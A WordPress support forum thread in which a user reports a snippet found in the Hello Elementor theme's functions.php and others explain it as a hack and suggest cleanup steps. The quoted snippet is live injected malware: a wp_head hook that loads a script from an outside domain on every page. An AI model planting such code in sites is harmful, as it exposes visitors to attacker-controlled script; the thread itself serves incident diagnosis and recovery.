Title: Strange Code on Functions.php
Last modified: July 26, 2025

---

# Strange Code on Functions.php

 *  [mcprime](https://wordpress.org/support/users/mcprime/)
 * (@mcprime)
 * [8 months, 2 weeks ago](https://wordpress.org/support/topic/strange-code-on-functions-php/)
 * I recently checked the functions.php of Hello Elementor theme and found out at
   the very bottom contain this code.
 *     ```wp-block-code
       /**<js>*/function add_my_code() {   echo '<script async src="https://billing.roofnrack.us/dh+V4w099ooSPa/RQSi5wQQ9r8EbPeg="></script>';}add_action('wp_head', 'add_my_code');/**<js>*/
       ```
   
 * I checked the theme repository and they don’t have this kind of code. I don’t
   even know the URL put there. Can someone explain?

Viewing 3 replies - 1 through 3 (of 3 total)

 *  [r1k0](https://wordpress.org/support/users/r1k0/)
 * (@r1k0)
 * [8 months, 2 weeks ago](https://wordpress.org/support/topic/strange-code-on-functions-php/#post-18572689)
 * Hey [@mcprime](https://wordpress.org/support/users/mcprime/),
 * It sounds like your site has been hacked. The code above injects an external 
   JavaScript script into every page with the `wp_head` hook. The link is not related
   to Elementor or any other part of WordPress. Following the WordPress [“My site was hacked”](https://wordpress.org/documentation/article/faq-my-site-was-hacked/)
   guide will help you recover your site.
 * Additionally, if possible, contact your hosting provider to help you check the
   logs to determine when `functions.php` was last edited. Using a backup older 
   than when the file was edited would be an easy and safe way to recover your site.
 * Regards,
    Erick
 *  Thread Starter [mcprime](https://wordpress.org/support/users/mcprime/)
 * (@mcprime)
 * [8 months, 2 weeks ago](https://wordpress.org/support/topic/strange-code-on-functions-php/#post-18573279)
 * Hey [@r1k0](https://wordpress.org/support/users/r1k0/) ,
 * Thanks a ton for the heads-up and the clear explanation!
 * I’ll go through the WordPress hacked site guide and reach out to my hosting provider
   to check the logs — hopefully I can pinpoint when `functions.php` was edited.
   If I’ve got a clean backup from before that, I’ll restore it.
 * Really appreciate you taking the time to help me out. 🙏
 * Cheers
    -  This reply was modified 8 months, 2 weeks ago by [mcprime](https://wordpress.org/support/users/mcprime/).
 *  [Avinash Zala](https://wordpress.org/support/users/avinashzala01/)
 * (@avinashzala01)
 * [7 months, 1 week ago](https://wordpress.org/support/topic/strange-code-on-functions-php/#post-18626266)
 * Hello [@mcprime](https://wordpress.org/support/users/mcprime/) ,
   You can still
   scan your website code with [gotmls](https://wordpress.org/plugins/gotmls/) plugin
   which will help you to get detailed analysis of files of your wordpress in your
   admin panel. I hope this will help you clear malware code from entire wordpress
   directory.

Viewing 3 replies - 1 through 3 (of 3 total)

The topic ‘Strange Code on Functions.php’ is closed to new replies.

 * ![](https://i0.wp.com/themes.svn.wordpress.org/hello-elementor/3.4.7/screenshot.
   png)
 * Hello Elementor
 * [Support Threads](https://wordpress.org/support/theme/hello-elementor/)
 * [Active Topics](https://wordpress.org/support/theme/hello-elementor/active/)
 * [Unresolved Topics](https://wordpress.org/support/theme/hello-elementor/unresolved/)
 * [Reviews](https://wordpress.org/support/theme/hello-elementor/reviews/)

 * 3 replies
 * 3 participants
 * Last reply from: [Avinash Zala](https://wordpress.org/support/users/avinashzala01/)
 * Last activity: [7 months, 1 week ago](https://wordpress.org/support/topic/strange-code-on-functions-php/#post-18626266)
 * Status: not resolved